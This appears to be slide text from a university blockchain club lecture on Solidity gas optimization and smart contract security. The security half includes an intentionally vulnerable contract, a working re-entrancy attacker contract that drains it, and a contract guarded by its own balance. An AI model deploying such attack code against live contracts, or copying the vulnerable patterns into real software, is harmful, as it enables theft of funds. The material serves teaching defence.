BlocSoc IIT Roorkee

Lecture Series

Lecture 0x3

Smart Contract Security & Gas Optimization

What is Gas?

- Fuel for Ethereum Network
- Measurement unit of computational effort
- Total Transaction Fees = Gas Used * Gas Price

How expensive transaction costs can be?

EVM Overview

- Memory
- Storage
- Stack
- Calldata
- Code
- Logs

Memory vs Storage

- Storage variables: outside the function.
- Memory variables: inside the function.
- SLOAD : 2100 (when not accessed) OR 100 (when already accessed)
- SSTORE: 5000(when not accessed) OR 2900 (when already accessed)
- MLOAD: 3
- MSTORE: 3
- Avoid operating on Storage variables.
- Store Storage variable in Memory —>Operate on Memory variables —> Update the Storage variable

Packing of Variables

- Contiguous Storage slots of 256 bits.
- **Gas is paid for each slot and not each variable !!**
- Declare packable variables consecutively.

```
uint8 a;
uint256 b;
uint8 c;
```

```
uint8 a;
uint8 c;
uint256 b;
```

Immutable and Constant Variables

- Constants: initialized at the time of declaration and remain constant
- Immutables: assigned values in the Constructor of the contract.
- **These are stored directly in the code, not in Storage.**

```
uint256 public constant FEES = 50;
address public immutable i_owner; /
constructor(){
i_owner = msg.sender;
}
```

Deleting Variables

- Gas Refund when useless variables are deleted.
- It acts as an incentive to save space on the blockchain.
- *"delete"* keyword assigns default value back to the variable.

Fewer External Calls

- Call to external contract consumes a lot of Gas.
- Call the function and have it return all the data needed at once rather than calling multiple functions.

Some Other Tricks

- Use Latest Solidity Compilers
- Using Custom Errors
- Use Short Circuiting To Your Advantage
- Use Solidity Gas Optimizer
- Use shift right/left instead of division/multiplication

Any Questions??

Smart Contract Security

Why Should we be concerned?

Popular Hacks

- Re-entrancy
- Oracle Manipulation
- Frontrunning
- Force Feeding

Re-entrancy Attack

- Attacker's contract calls the victim's contract
- Victim's contract calls the attacker's contract (the contract's execution is paused until the call returns)
- Attacker's contract reenters victim's contract to manipulate variables

```
// THIS CONTRACT HAS INTENTIONAL VULNERABILITY, DO NOT COPY
ntract Victim {
  mapping (address => uint256) public balances;

  function deposit() external payable {
      balances[msg.sender] += msg.value;
  }

  function withdraw() external {
      uint256 amount = balances[msg.sender];
      (bool success, ) = msg.sender.call.value(amount)("");
      require(success);
      balances[msg.sender] = 0;
  }
```

```
contract Attacker {
    function beginAttack() external payable {
        Victim(VICTIM_ADDRESS).deposit.value(1 ether)();
        Victim(VICTIM_ADDRESS).withdraw();
    }

    function() external payable {
        if (gasleft() > 40000) {
            Victim(VICTIM_ADDRESS).withdraw();
        }
    }
}
```

Oracle Manipulation

- Oracles - link (off-chain) data to the blockchain (on-chain) for smart contracts to use.
- Spot Price Manipulation
- When price data in a contract is fetched from an on-chain dependency for eg. a DEX

Frontrunning

- a mempool is a waiting area for the transactions that haven't been added to a block.
- all transactions are visible in the mempool for a short while before being executed
- sandwich attack

Date	Type	Price USD	Price ETH	Amount DG	Total USDC	Total ETH	Maker
2021-04-28 13:57:48	buy	$0.27126299	0.00010349	60,127.258	16,310.30	6.2227165	0xbfd54d...831a
2021-04-28 13:57:48	buy	$0.274593	0.00010476	86,312.124	23,700.705	9.0423087	0x3e43a4...ac4a
2021-04-28 13:57:48	sell	$0.27355333	0.00010437	60,127.258	16,448.012	6.2752564	0xbfd54d...831a

Force Feeding

- Forcing a smart contract to hold an Ether balance can influence its internal accounting and security assumptions.
- ways - payable receive(), fallback(), self destruct, pre calculated deployment, block rewards
- "do not use contract's balance as guard."

```
pragma solidity ^0.8.13;

contract Vulnerable {
    receive() external payable {
        revert();
    }

    function somethingBad() external {
        require(address(this).balance > 0);
        // Do something bad
    }
}
```

Some Other Vulnerabilities

- **Timestamp Dependencies**
- **Overflow and Underflow**
- **Denial of Service**
- **Griefing**

Tips for writing safe contracts

- Use latest stable versions of solidity
- Avoid self destruct
- Keep your code clean, modular and simple
- Use reentrancy guard(openzeppelin's 'nonReentrant' modifier)
- Use safemath library(for <0.8.0)
- Send ether via 'call', avoid 'transfer' and 'send'.
- Avoid using random variables that are based on blockstate
- Check for the address 0x0(burning)
- Can use auditing tools like Slither, Mythril
- Take warnings seriously

Any Questions??

Thank you!!